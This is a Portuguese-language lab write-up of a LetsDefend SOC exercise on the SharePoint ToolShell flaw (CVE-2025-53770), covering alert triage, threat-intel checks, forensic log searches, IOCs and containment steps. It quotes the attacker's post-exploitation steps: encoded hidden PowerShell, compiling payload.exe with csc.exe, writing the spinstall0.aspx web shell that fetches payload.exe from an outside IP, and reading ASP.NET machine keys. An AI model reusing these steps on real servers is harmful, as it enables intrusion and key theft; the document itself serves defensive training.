Guia passo a passo de um laboratório LetsDefend SOC342 analisando CVE-2025-53770 SharePoint ToolShell bypass de autenticação e RCE, incluindo cadeia de ataque, análise forense e ações de contenção.
Investiguei um zero-day do SharePoint chamado ToolShell (CVE-2025-53770) no laboratório cibernético do LetsDefend.
O exercício simulou um ataque RCE zero-day do mundo real onde uma requisição POST maliciosa contornou a autenticação, executou PowerShell para roubar chaves MachineKeySection, compilou payload.exe e implantou um web shell malicioso (spinstall0.aspx).
Este README documenta o processo do ataque, etapas forenses, ações de contenção e lições aprendidas.
| Campo | Detalhes |
|---|
| Plataforma | LetsDefend Cyber Range |
| Alvo | SharePoint Server (SharePoint01) |
| CVE | CVE-2025-53770 |
| Objetivo | Analisar RCE, praticar detecção e contenção |
| Ferramentas Utilizadas | Windows PowerShell, VirusTotal, AbuseIPDB, Talosintelligence, LetsDefend Log Management, LetsDefend Endpoint Security, Decodificador Base64, LetsDefend Threat Intel |
Um alerta crítico sinalizou atividade suspeita direcionada ao ToolPane.aspx no SharePoint com um payload grande e Referer falsificado.
Isso se correlaciona com CVE-2025-53770, uma vulnerabilidade zero-day que permite RCE não autenticado através de requisições POST manipuladas.

O que é: O nível de gravidade atribuído a este alerta — o mais alto e urgente.
Por que é importante: Indica que este evento pode levar a comprometimento total do sistema (RCE). Trate como prioridade máxima: isole e investigue imediatamente.
O que é: O timestamp em que o alerta foi disparado.
Por que é importante: Use para localizar logs, correlacionar eventos relacionados e construir uma linha do tempo (pesquise ± alguns minutos ou horas).
O que é: A regra de detecção ou assinatura que disparou, descrevendo a condição correspondida (tentativa de exploração do ToolShell).
Por que é importante: Identifica qual padrão de ataque foi detectado — útil para caçar casos semelhantes (ex.: POSTs não autenticados para páginas de admin ou possíveis uploads de webshell).
O que é: Identificador numérico para esta instância específica de alerta ou regra (definido pelo fornecedor).
Por que é importante: Ajuda no rastreamento, filtragem e referência deste alerta em tickets ou relatórios.
O que é: Classificação de alto nível — este alerta tem como alvo infraestrutura web.
Por que é importante: Roteia o incidente para a equipe web/SharePoint/infra e aplica playbooks específicos para web.
O que é: Função do analista ou nível de escalonamento esperado para lidar com o alerta.
Por que é importante: Indica que este não é um alerta de Nível 1 — requer um Analista de Segurança (respondente experiente) para ação imediata.
O que é: Nome do host afetado (alvo ou origem da atividade).
Por que é importante: Este é o principal alvo de contenção — isole, colete evidências e monitore este sistema primeiro.
O que é: O IP que enviou a requisição suspeita (atacante ou proxy).
Por que é importante: Bloqueie no firewall/WAF, pesquise por outros hits do mesmo IP e verifique propriedade/geolocalização. Nota: IPs podem ser falsificados ou fazer parte de botnets.
O que é: O IP interno alvo (SharePoint01).
Por que é importante: Confirma qual sistema interno foi alvo — mapeie para o hostname e revise caminhos de acesso interno/regras de firewall.
O que é: O verbo HTTP utilizado — o cliente enviou dados ao servidor.
Por que é importante: POSTs para endpoints de admin são suspeitos quando não autenticados ou grandes — podem carregar payloads de exploit ou webshells.
/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
O que é: O caminho web exato e parâmetros visados.
Por que é importante: Este é um endpoint de admin/layout do SharePoint — comumente abusado por atacantes para bypass de autenticação ou upload de código. Cace outras requisições para o mesmo caminho.
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
O que é: A string do navegador informada pelo cliente.
Por que é importante: Frequentemente falsificada por atacantes para parecer legítima — pode ajudar a filtrar logs, mas não confie nela para atribuição.
/_layouts/SignOut.aspx
O que é: Cabeçalho HTTP alegando que a requisição veio da página de logout do SharePoint.
Por que é importante: Referers falsificados são suspeitos — podem ser usados para contornar verificações ou imitar tráfego normal. Compare com fluxos de navegação legítimos.
7699O que é: Tamanho do corpo da requisição HTTP (em bytes).
Por que é importante: Um corpo POST grande para um endpoint de admin sugere um exploit serializado ou upload de arquivo. Procure outros POSTs de tamanho semelhante para a mesma URL.
Texto: Requisição POST não autenticada suspeita direcionada a ToolPane.aspx com payload grande e referer falsificado — indicativo de exploração de CVE-2025-53770.
O que é: Explicação da regra resumindo o comportamento correspondido.
Por que é importante: Descreve exatamente por que o alerta disparou — verifique se a requisição era não autenticada, qual payload foi enviado e se corresponde a padrões de exploit conhecidos.
O que é: Indica a resposta do dispositivo de proteção (ex.: WAF/firewall).
Por que é importante: Como foi permitido, o ataque alcançou o host — trate como possível comprometimento.
Ações imediatas:
107.191.58.76)SharePoint01)🔎 Resumo:
Este alerta reflete uma tentativa de exploit não autenticado explorando ToolPane.aspx (RCE do SharePoint CVE-2025-53770). A requisição POST continha um payload grande e referer falsificado, consistente com o comportamento de exploração zero-day do ToolShell. Como o dispositivo permitiu a requisição, considere possível comprometimento até prova em contrário. 🟥 Gravidade: Crítico
Pesquise nos logs IIS/WAF por POSTs para ToolPane.aspx (por volta de 2025-07-22 13:07):
Select-String -Path "C:\inetpub\logs\LogFiles\**\*.log" -Pattern "/_layouts/15/ToolPane.aspx" | Out-File .\IIS_ToolPane_hits.txt
Extraia o corpo completo do POST do WAF/proxy ou captura de pacotes e salve em um compartilhamento forense.
Procure por arquivos ASPX novos/modificados no webroot (webshells):
Get-ChildItem "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\**\*.aspx" -Recurse | Sort LastWriteTime -Desc | Select FullName,LastWriteTime
Bloqueie o atacante e isole o host: bloqueie 107.191.58.76 no perímetro/WAF e mova SharePoint01 para quarentena (ou restrinja o egresso).
Não exclua arquivos suspeitos — faça cópias forenses primeiro.
Microsoft SharePoint é uma plataforma de colaboração e gerenciamento de documentos.
Oferece armazenamento seguro de arquivos, controle de versão e portais de intranet, integrado com Active Directory, Teams, Outlook e Power BI.
Uma vulnerabilidade crítica de RCE não autenticado no Microsoft SharePoint Server explorando desserialização insegura.
Atacantes a utilizam para:
🧮 Pontuação CVSS: 9.8 (Crítico)
📡 Exploração: Ativa na natureza
IP de Origem: 107.191.58.76
🧩 Resultado: 15/95 fornecedores de segurança o sinalizaram como malicioso.

Verificado via AbuseIPDB — IP vinculado a:

Verificado via Talos Intelligence — Características do IP/sub-rede:
*.vultrusercontent.com
Localizei o host SharePoint01 no Endpoint Security.
Examinei o Histórico do Terminal em busca de comandos suspeitos.

Este log mostra que às 13:07:11, um processo PowerShell foi executado sob o pool de aplicações SharePoint, executando um comando codificado em Base64. O processo pai era services.exe, e o ataque visou diretórios do SharePoint. Este é um indicador claro de exploração ToolShell e execução remota de código dentro do servidor SharePoint.
-nop = -NoProfile: iniciar PowerShell sem carregar o perfil do usuário (evita detecção baseada em perfil, executa mais rápido).-w hidden = -WindowStyle Hidden: executar sem mostrar uma janela (furtivo).-e = -EncodedCommand: a string a seguir é conteúdo PowerShell codificado em Base64 (geralmente UTF-16LE ou às vezes UTF-8) — usado para esconder código de inspeção casual e logs simples.<BASE64>: payload Base64 longo — quando decodificado contém um script de servidor ASPX (parece um webshell) que lê valores MachineKey.

⚙️ Resumo do Comportamento
Isso indica roubo de MachineKey para forjar tokens ViewState/auth — exploração clássica do ToolShell.

🧩 Descoberta: O atacante compilou payload.cs em payload.exe usando o compilador .NET embutido → provavelmente malware.
O que isso literalmente faz (passo a passo):
csc.exe → o compilador C# que acompanha o .NET Framework./out:C:\Windows\Temp\payload.exe → diz ao compilador onde salvar o programa compilado e como nomeá-lo (payload.exe).C:\Windows\Temp\payload.cs → o arquivo fonte C# (código legível por humanos) que o compilador transforma em um programa executável.Por que isso é perigoso (explicação para iniciantes):
.cs) em um executável (.exe) na máquina da vítima.payload.exe) pode executar qualquer ação programada pelo atacante: abrir conexões de rede, spawnar shells, instalar persistência ou roubar dados.Como o atacante provavelmente o usou na cadeia de ataque:
payload.cs.payload.exe para que pudesse ser executado como um programa nativo no servidor.Evidências a procurar (o que buscar em logs / arquivos):
csc.exe com argumentos apontando para payload.cs ou /out:C:\Windows\Temp\payload.exe.C:\Windows\Temp\payload.cs e C:\Windows\Temp\payload.exe (faça cópias forenses e calcule hashes).w3wp.exe / powershell.exe / cmd.exe spawnando csc.exe.payload.exe se executado.Resumo em uma linha (para README / ticket):
Atacante usou o compilador C# do .NET (csc.exe) para compilar payload.cs em payload.exe no host — criando um executável nativo para atividade maliciosa subsequente.

🧩 Descoberta: Criou spinstall0.aspx dentro do diretório LAYOUTS do SharePoint → backdoor acessível via web.
O que isso literalmente faz (passo a passo, em português claro):
cmd.exe /c → inicia o shell de comando do Windows para executar um único comando e depois sair.echo <...> > "...\spinstall0.aspx" → imprime o texto HTML/ASPX fornecido e escreve no arquivo spinstall0.aspx (o operador > cria ou sobrescreve o arquivo).runat="server" → torna o arquivo ASPX do lado do servidor, então o IIS/SharePoint o executa dentro do processo da aplicação web em vez de servi-lo como texto estático.<object> contém Url="http://107.191.58.76/payload.exe" → instrui a página (ou o servidor quando executada) a buscar o payload.exe do atacante do host remoto.Por que isso é perigoso (explicação para iniciantes):
Como o atacante provavelmente o usou na cadeia de ataque:
spinstall0.aspx na pasta LAYOUTS do SharePoint.payload.exe do host atacante.Evidências a procurar (o que buscar em logs / arquivos):
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx — faça uma cópia forense e calcule SHA256.cmd.exe escrevendo nesse caminho.spinstall0.aspx ou requisições de saída para http://107.191.58.76/payload.exe.spinstall0.aspx (indicando download/execução de payload).Resumo em uma linha (para README / ticket):
Atacante criou um web shell ASPX do lado do servidor (spinstall0.aspx) na pasta LAYOUTS do SharePoint que instrui o servidor a buscar/executar payload.exe da infraestrutura do atacante — backdoor remoto persistente.

🧩 Descoberta: Executou PowerShell para ler e exfiltrar a configuração MachineKey — pré-condição direta para RCE.
O que isso literalmente faz (passo a passo):
powershell.exe → o shell de script do Windows.-Command diz ao PowerShell para executar a expressão seguinte.[System.Web.Configuration.MachineKeySection]::GetApplicationConfig() chama o .NET para recuperar o objeto de configuração machineKey do ASP.NET (inclui ValidationKey, DecryptionKey e configurações relacionadas).Por que isso é perigoso (explicação para iniciantes):
machineKey contém segredos que o ASP.NET usa para:
ViewState e cookies de autenticação de formulários.ValidationKey/DecryptionKey, ele pode:
ViewState ou cookies de autenticação assinados, ou descriptografar tokens.Como o atacante provavelmente o usou na cadeia de ataque:
ToolPane.aspx para executar código dentro do processo do app SharePoint.ValidationKey / DecryptionKey.ViewState malicioso) ou cookies de autenticação válidos para escalar acesso.Evidências a procurar (o que buscar em logs / arquivos):
powershell.exe com GetApplicationConfig ou MachineKeySection na linha de comando.ValidationKey / DecryptionKey).MachineKeySection / GetApplicationConfig.IIS APPPOOL\SharePoint) nos mesmos timestamps.Resumo em uma linha (para README / ticket):
Atacante executou PowerShell para chamar System.Web.Configuration.MachineKeySection::GetApplicationConfig() — tentando exfiltrar a machineKey do ASP.NET (ValidationKey/DecryptionKey), possibilitando forjamento de tokens e bypass de autenticação.
Fonte: LetsDefend Threat Intel (consultado pelo IP 107.191.58.76)
Referer: /_layouts/SignOut.aspx.
| Tipo | Indicador | Descrição |
|---|---|---|
| IP | 107.191.58.76 | IP de origem do atacante enviando POST de exploração |
| URL | /_layouts/15/ToolPane.aspx?DisplayMode=Edit | Endpoint de exploração |
| Arquivo | spinstall0.aspx | Web shell ASPX malicioso implantado |
| String | MachineKeySection | Evidência de tentativa de exfiltração de machineKey |
VictorDetectada exploração zero‑day do ToolShell (CVE‑2025‑53770) contra SharePoint on‑premises (SharePoint01). O atacante (IP 107.191.58.76) contornou a autenticação e realizou múltiplas ações pós‑exploração:
spinstall0.aspx (web shell) para o diretório LAYOUTS do SharePoint.payload.exe localmente usando o compilador C# .NET.

Conclusão: Comprometimento confirmado — implantação de web shell, exfiltração de chave e compilação de payload no host.
SharePoint01 (VLAN de quarentena) ou bloquear IPs do atacante no perímetro/WAF/firewall.spinstall*.aspx, payload.exe (por nome/hash) e uso de GetApplicationConfig/MachineKeySection.spinstall0.aspx, tarefas/serviços agendados não autorizados e qualquer malware detectado (após coletar cópias forenses).machineKey do ASP.NET (coordenar com proprietários de aplicativos) e aplicar patches de emergência de julho de 2025 da Microsoft em todas as instâncias SharePoint on‑premises.-EncodedCommand / -e) em servidores web.csc.exe compilando código em C:\Windows\Temp em hosts web.POST grandes não autenticados para ToolPane.aspx via regras de WAF.csc.exe, cmd.exe, powershell.exe) são frequentemente abusados pós‑exploração; monitore o uso inesperado em servidores web.SharePoint01 em quarentena e bloquear 107.191.58.76.spinstall0.aspx, payload.cs, payload.exe (preservar carimbos de data/hora).w3wp.exe / payload.exe para análise.machineKey e credenciais afetadas após a coleta de evidências.